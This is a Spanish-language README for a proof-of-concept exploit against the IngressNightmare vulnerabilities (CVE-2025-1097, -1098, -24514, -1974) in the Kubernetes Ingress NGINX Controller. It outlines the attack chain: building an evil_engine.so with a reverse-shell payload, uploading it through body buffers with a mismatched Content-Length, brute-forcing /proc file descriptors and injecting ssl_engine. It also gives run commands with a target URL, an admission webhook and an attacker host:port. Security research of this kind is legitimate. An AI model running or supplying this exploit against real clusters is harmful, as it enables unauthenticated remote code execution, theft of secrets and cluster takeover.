
Este es un código PoC para explotar las vulnerabilidades IngressNightmare (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514 y CVE-2025-1974).
Este proyecto proporciona un exploit dirigido a vulnerabilidades críticas de Ejecución Remota de Código (RCE) no autenticada en el Controlador Ingress NGINX para Kubernetes, conocidas colectivamente como IngressNightmare. (Investigación de Wiz)
En la investigación original, el equipo de Wiz no proporcionó un PoC ni un exploit funcional, por lo que decidimos crear el nuestro y compartirlo con la comunidad.
El Controlador Ingress NGINX es un componente ampliamente utilizado en entornos Kubernetes, que gestiona el acceso externo a los servicios dentro de los clústeres. Vulnerabilidades recientes (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) descubiertas en su controlador de admisión pueden llevar al acceso no autorizado a todos los secretos a través de los namespaces y potencialmente permitir la toma completa del clúster.
https://github.com/user-attachments/assets/9e893abf-5c01-4fcb-ad79-7115b429281f
El exploit sigue estos pasos principales:
Generar objeto compartido (utilizado por la propiedad ssl_engine inyectada):
Compila una librería .so (evil_engine.so) que contiene el payload de reverse shell.
Subir el objeto compartido:
Envía el objeto compartido compilado al pod ingress, aprovechando el manejo de solicitudes (buffers del cuerpo del cliente). El truco aquí es enviar un Content-Length diferente al servidor para mantener la conexión abierta y mantener el descriptor de archivo para el archivo abierto.
Fuerza bruta de fd: Itera sobre IDs de procesos y descriptores de archivos (/proc/{pid}/fd/{fd}) para identificar el descriptor correcto que referencia el objeto subido.
Requisitos previos: Python 3.x Compilador GCC Módulo requests de Python
Ejecutar exploit:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/hakaioffsec/ingressnightmare-poc/blob/main/attacker_host%3Aport)
Ej: python3 xpl.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
A veces el admission webhook está en un namespace diferente. En este caso, debes especificar el namespace al final, como kube-system, default o ingress-nginx.
<ingress_url>: URL de Ingress objetivo (pública)
<admission_webhook_url>: URL del webhook de admisión (webhook interno)
attacker_host:port: Tu host y puerto para reverse shell
QuimeraX Intelligence es una plataforma avanzada de EASM e Inteligencia de Amenazas Cibernéticas especializada en identificar vulnerabilidades críticas en sistemas complejos. La plataforma monitorea, detecta y alerta proactivamente a los clientes sobre amenazas de seguridad, garantizando transparencia y una respuesta rápida a riesgos potenciales. Los clientes reciben notificaciones inmediatas e informes completos si sus sistemas se encuentran vulnerables, permitiéndoles tomar medidas de protección. saber más
Hakai Security es una empresa de ciberseguridad fundada por profesionales de la seguridad, comprometida con la excelencia técnica. Ofrecemos soluciones de seguridad personalizadas que incluyen pruebas de penetración avanzadas, simulaciones realistas de Red Team y prácticas de desarrollo seguro para proteger proactivamente los activos de nuestros clientes de las amenazas cibernéticas en evolución. saber más
Descargo de responsabilidad
Este exploit se proporciona estrictamente con fines educativos y de investigación. El uso no autorizado de esta herramienta contra objetivos sin permiso explícito. Hakai Security y QuimeraX no asumen ninguna responsabilidad por el mal uso o daños causados por el uso de este exploit.